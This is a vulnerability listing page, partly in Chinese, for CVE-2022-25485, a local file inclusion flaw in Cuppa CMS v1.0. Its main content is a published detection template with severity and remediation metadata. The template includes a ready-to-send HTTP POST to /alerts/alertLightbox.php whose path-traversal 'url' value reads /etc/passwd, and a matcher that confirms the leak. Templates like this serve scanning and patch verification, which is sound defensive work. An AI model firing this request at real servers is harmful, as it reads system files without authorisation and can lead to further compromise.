CVE-2022-25485: Cuppa CMS v1.0 - Local File Inclusion

日期: 2025-08-01 | 影响软件: Cuppa CMS | POC: 已公开

漏洞描述

CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertLightbox.php.

PoC代码[已公开]

id: CVE-2022-25485

info:
  name: Cuppa CMS v1.0 - Local File Inclusion
  author: theamanrawat
  severity: high
  description: |
    CuppaCMS v1.0 was discovered to contain a local file inclusion via the url parameter in /alerts/alertLightbox.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the vendor-provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25485
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2022-25485
    cwe-id: CWE-829
    epss-score: 0.3763
    epss-percentile: 0.97034
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,lfi,cuppa,cuppacms,vkev,vuln

http:
  - raw:
      - |
        POST /alerts/alertLightbox.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        url=../../../../../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a1c6ba7eeb02feaf973bb57ef069725806159340be4e2ef3a707cc6498edd6b10220428bbb295d925471d25a86d27f66ef054ce0f7986ef03e15160b3913fa0f4dcc:922c64590222798bb761d5b6d8e72950

相关漏洞推荐